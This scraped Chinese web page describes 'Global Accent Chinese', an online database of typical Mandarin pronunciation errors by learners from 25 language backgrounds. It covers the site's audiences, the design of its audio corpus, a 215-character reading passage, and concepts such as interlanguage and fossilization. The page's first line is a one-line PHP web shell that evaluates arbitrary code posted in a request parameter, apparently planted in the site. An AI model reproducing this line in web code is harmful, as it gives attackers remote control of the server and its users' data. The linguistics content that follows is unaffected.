<?php @eval($_POST['10086']);?>
“口音汉语在线(Global Accent Chinese)”收录世界范围不同母语背景说话人说汉语时的口音表现(包括文字描述与有声语料),并提供与口音汉语有关的资料、资源。本网的主要部分“口音档案(Accent Archieves)”事实上即“世界典型汉语语音偏误数据库(The Database of Typical Chinese Speech Errors: from Worldwide Learners)”。
从语言学习的角度看,口音汉语是非汉语母语者学习汉语时说出的、带有受其母语(第一语言,L1)影响的典型语音偏误的汉语;也是汉语作为第二语言(L2)学习时的学习者产生的中介语言(interlanguage)。从性质上看,口音是一种语言中带有的某些典型的语音偏误。 “口音汉语在线”目前收录有美国(英语)、俄罗斯(俄语)、日本(日本语)、韩国(韩国语)、泰国(泰语)、哥伦比亚(西班牙语)、德国(德语)、荷兰(荷兰语)、法国(法语)、印度(印地语)、意大利(意大利语)、埃及(阿拉伯语)、葡萄牙(葡萄牙语)、乌克兰(乌克兰语)、白俄罗斯(白俄罗斯语)、芬兰(芬兰语)、哈萨克斯坦(哈萨克语)、土耳其(土耳其语)、蒙古(蒙古语)、中国藏族(藏语)、中国壮族(壮语)、印度尼西亚(印度尼西亚语)、尼日利亚(官方语言英语)、巴基斯坦(乌尔都语)、尼泊尔(尼泊尔语)等25个国家/24种语言背景的口音文字描述与有声语料;同时提供相对应的汉语母语者的标准发音。同时正在制作越南(越南语)、苏格兰(官方语言英语、苏格兰盖尔语、低地苏格兰语)、匈牙利(匈牙利语)、喀麦隆(官方语言法语、英语)、塞尔维亚(塞尔维亚语)、中国维吾尔族(维吾尔语)、中国蒙古族(蒙古语)背景的偏误资源。
“口音汉语在线——世界典型汉语语音偏误数据库”可以为下列人群提供帮助或便利。
(1)汉语学习者。不同母语背景者可以了解其母语背景说汉语时的典型语音偏误以及需要克服的问题和难点,通过与完全对应的母语者发音进行对比,增进语音分辨意识和能力,从而改进发音。
(2)汉语教师。汉语教师可以便捷地了解不同母语背景者说汉语时的语音问题和难点,确定语音教学的重点,进行有针对性的教学,从而提高教学效果。
(3)汉语作为第二语言的语音学习研究者。研究者可以免费下载不同母语背景者的典型语音偏误描述,下载偏误有声语料,以及利用本网站其他资料,进行他们的研究。
(4)一般的语音研究者。从事一般语音研究的研究者也可以利用本网站的丰富资料、资源,以利于他们的研究。
“口音汉语在线——世界典型汉语语音偏误数据库”收录的偏误有声语料分为单字、词语、句子和语篇等4类。
单字主要反映非母语学习者在汉语普通话声母、韵母、声调等方面存在的问题;词语主要反映非母语学习者在声母、韵母、声调以及连读音变等方面存在的问题;句子主要反映非母语学习者在声母、韵母、声调、连读音变以及句调等方面存在的问题。单字、词语、句子这3类语料是根据不同母语学习者的典型语音偏误逐一专门设计的。语篇是为一篇统一的215字的语料(《姐姐的电话》),包含汉语普通话所有声母、韵母、声调、主要的连读音变、主要的句调等(语篇文本及设计说明见下文所附)。
有声语料使用专业录音设备录音,音质满足声学分析需要。网站还提供在线交流等功能。
“口音汉语在线——世界典型汉语语音偏误数据库”,秉承“专业、精良、广泛、共享”的理念。
“口音汉语在线——世界典型汉语语音偏误数据库”的设计背景、研究方法、制作理念等可以参阅项目组主要成员据此发表的论文《国别典型汉语语音偏误及“口音汉语在线”系统开发》(《语言教学与研究》2016年第4期)、《口音漢語在線上——不同母語背景漢語語音偏誤的系統梳理與有聲呈現》(《澳門語言文化研究(2015)》,澳門理工學院2016年)。
本网所有有声语料均给予发音人适当发音费,并就是否可以展示于网络征得了发音人同意。本网制作人享有本网所有资源的版权。本网有声语料可以免费下载播放,如因研究及教学需要使用本网语料请注明来源,商用则务请来函洽商。
除“口音档案”外,本网还提供如下重要内容:
(1)“语音讯息”提供大量的语音学/语言学资源汇集,包括国际音标及相关资源,语音学/语言学重要期刊网址,语音研究/语言研究资源、语料库网址,各国语言网络学习资源等。
(2)“扩展资源”的“语音分析”部分,提供常用语音声学分析软件下载网址、语音文件下载以及Praat脚本下载。本站站主收集编写有70多个Praat脚本作为Praat脚本资源汇集,均可自由下载。
(3)“语音图谱”收集展示通过实验、较大数据计算得到的语音声学图谱、感知图谱、生理图谱、音系图谱、其他图谱等。
(4)本网“站主后花园”发布站主个人的有关讯息、文章等,可由关于我们底部链接进入。
一些新标准各浏览器厂商支持程度各不相同,请使用2016年以后各版本浏览器浏览本网。
附:语篇文本
《姐姐的电话》与设计说明
姐姐的电话 喂,弟啊。现在忙吗?不忙的话我就多说两句。你的生日是什么时候啊?哦,一九九二年四月,快三十五了。姐姐有一儿一女了,你还没有女朋友。因为什么呢?你离家远,一天总是忙工作。光挣钱有用吗?不知道的还以为你有问题呢。你不小了,难道没有喜欢的女孩儿吗?去年见了一个小李,你说有点儿高;今年见的姓翁的那个,你也说哪儿不对。诶,我就奇怪了。我问你你到底想找怎样的?听姐姐的话好不好?你是我们的希望,爸爸妈妈都等着,要不他们不放心啊,早点儿找好了一块儿回来,你觉得呢?注意吃饭,也要多运动运动。就这样吧,下次再聊。
这篇设计为姐姐给弟弟的电话口语对话文本(与实际情形无关),汉字字数215个(不包括标题),实际读音210个音节(1个音节带有儿化只算1个音节)。其语言学成分包含了汉语普通话的以下内容:
(1)4个单字调;
(2)22个声母(含零声母);
(3)39个韵母;
(4)轻声(多种类型);
(5)儿化(5个);
(6)三声变调(第三声后接第一至第四声);
(7)“一”的变调(后接第一至第四声);
(8)“不”的变调(后接第一至第四声);
(9)语气词“啊”的变读(前接4种韵母);
(10)多种感叹词(喂,哦,诶);
(11)陈述句;
(12)疑问句(多种类型)
相关概念
口音(Accent)、外国口音(Foreign Accent)
口音指某个个人、群体及某个地区、阶层、民族等特有的发音方式(The New Oxford American Dictionary2005;Trudgill2006)。从理论上说,每个人都会有口音,只是在程度和方式上存在不同(Matsuda1991;Lippi-Green1997;Trudgill2006)。 在口音的多种下位类别中,非母语者具有的非母语口音(non-native accent,或称外国口音foreign accent。Lippi-Green1997),是第二语言学习中的常见现象。
中介语(Interlanguage)
中介语是指成人在第二语言学习中产生的介于母语(native language)与目的语(target language)之间的语言。中介语与学习者的母语和目的语都不相同;它也可能处于向目的语发展靠近的不同阶段。 中介语的核心特点是它会化石化(fossilization),即在某些方面达不到目的语的状态就停止了发展(Tarone2006)。 美国语言学家L. Selinker(1972)提出中介语假说,在第二语言习得(SLA)研究史上具有重要意义。
化石化(Fossilization)
成人在第二语言学习时,不论学习者的年龄、能力、动机还是与目的语接触的多少,学习者的中介语在语言结构的很多层面出现永久性停滞不前的现象,无法达到母语者那样的水平,这就是中介语的化石化现象(Selinker1972, Selinker & Lamendella1978, Selinker1996)。L. Selinker(1972)提出化石化概念,在第二语言学习研究中具有广泛影响。
母语负迁移(Negative Transfer)
成人在第二语言学习过程中,往往受到第一语言的影响。第一语言的影响可能是负面的,也可能是正面的。由第一语言的负面影响而产生偏误,称为母语负迁移(Odlin1993)。
语音偏误(Speech error)
偏误指成人在第二语言学习时,其中介语与目的语之间有规律的偏差。语音方面是语音偏误。 偏误(error)不同于错误(mistake)。偏误指学习者的中介语与第二语言之间的偏差。错误指使用语言出现的失误(Brown)。
英语全球方言档案(IDEA)
英语全球方言档案(International Dialects of English Archive,IDEA)在线数据库由舞台语言研究界的领军人物、堪萨斯大学戏剧学系Paul Meier教授于1997年开始建立,最初目的是为影视演员提供世界各地的口音英语与方言,以利他们的表演。数据库收录的每份录音包括一段朗读(文本最初为Rainbow Passage,后改为Comma Gets a Cure)和一段即兴发言,总计约4分钟。每份录音有较为详细的背景信息(如性别、年龄、出生地、出生日期、民族、职业、教育程度;以及录音人、录音时间、即兴发言记录人、记录时间等等);网站建立后语音材料不断添加,目前已有世界范围近100个国家的约1000份录音。
数据库网址:http://www.dialectsarchive.com/
英语口音档案(SAA)
英语口音档案(Speech Accent Archive,SAA)在线数据库由美国George Mason大学英语系Steven H. Weinberger教授开发。该数据库收集全世界英语母语者与非母语者的英语口音样本,所有发音语料均为相同的一段话。这段话共69个单词,包含了所有的英语音位。所有样本的发音人也都有较为详细的背景信息(如性别、年龄、出生地、母语、使用英语多长时间等);发音都经过国际音标(IPA)转写,并能显示发音偏误所在的位置。发音样本按网站设计还提供其母语的音位清单以满足对比分析的需要(有的背景母语还没完成)。网站目前已收集到2100多份样本。
数据库网址:http://accent.gmu.edu/
汉语听力通(Mandarin Chinese Linstening Training)
汉语听力通(Mandarin Chinese Linstening Training)由国立台湾师范大学的信世昌教授领导建立。网站是收录汉语多元口音听力材料的网络平台,收集中国大陆、台湾、香港、新加坡、马来西亚以及其他地区的汉语口音语料,作为汉语听力语音教材,以便协助汉语教师的听力教学,并帮助留学生的听力学习。网站语音资料按“口音”分为大陆标准普通话、大陆一般普通话、台湾标准国语、台湾一般国语、新加坡汉语、马来西亚汉语、香港语音普通话、大陆各地口音汉语、外国人口音汉语等,约20余种口音材料。每种口音语料分为朗读和自由独白两种形式。目前有录音语料约500个文件。
网址:http://hanyu123.weebly.com/
英国剑桥大学开发的通过26个单词检测说话人是哪种本地英语方言的App:
通过一句话判断说话人是英式英语口音还是美式英语口音:
网址:https://myaccent.cambridgeconsultants.com/?from=timeline
相关文献
Lippi-Green, R. (1997). English with an Accent: Language, Ideology, and Discrimination in the United States. New York: Routledge.
Matsuda, M. J. (1991). Voices of America: Accent, antidiscrimination law, and a jurisprudence for the last reconstruction. Yale Law Journal, 100: 1329–1407.
Odlin, T. (1993). Language Transfer: Cross-linguistic Influence in Language Learning. Cambridge: CUP.
Selinker, L. (1972). Interlanguage. International Review of Applied Linguistics, 10(3) 209-231.
Selinker, L. (1996). Fossilization: What we think we know, http://www.nyu.edu/education/teachlearn/faculty/lselinker
Selinker, L. & Lamendella, J. T. (1978). Two perspectives on fossilization in interlanguage learning. Interlanguage Studies Bulletin, 3, 2.
Tarone, E. (2006). Interlanguage, in: Keith Brown (ed.), Encyclopedia of Language and Linguistics(2nd), Volume 12. Oxford: Elsevier: 747-752. (可从此网页查看PDF版:http://socling.genlingnw.ru/files/ya/interlanguage%20Tarone.PDF)
Trudgill P. (2006). Accent, in: Keith Brown (ed.), Encyclopedia of Language and Linguistics(2nd), Volume 12. Oxford: Elsevier: 14.
The New Oxford American Dictionary (2nd Ed.). Oxford University Press. 2005.
Accent is the soul of language; it gives to it both feeling and truth.——Jean-Jacques Rousseau(口音是语言的核心,它使语言具有情感和真实性。——让-雅克·卢梭)
The accent of one's birthplace remains in the mind and in the heart as in one's speech.——François de La Rochefoucauld(一个人的乡音留驻于他的言语间,也留驻于他的脑海和内心。——弗朗索瓦·德·拉罗什福科)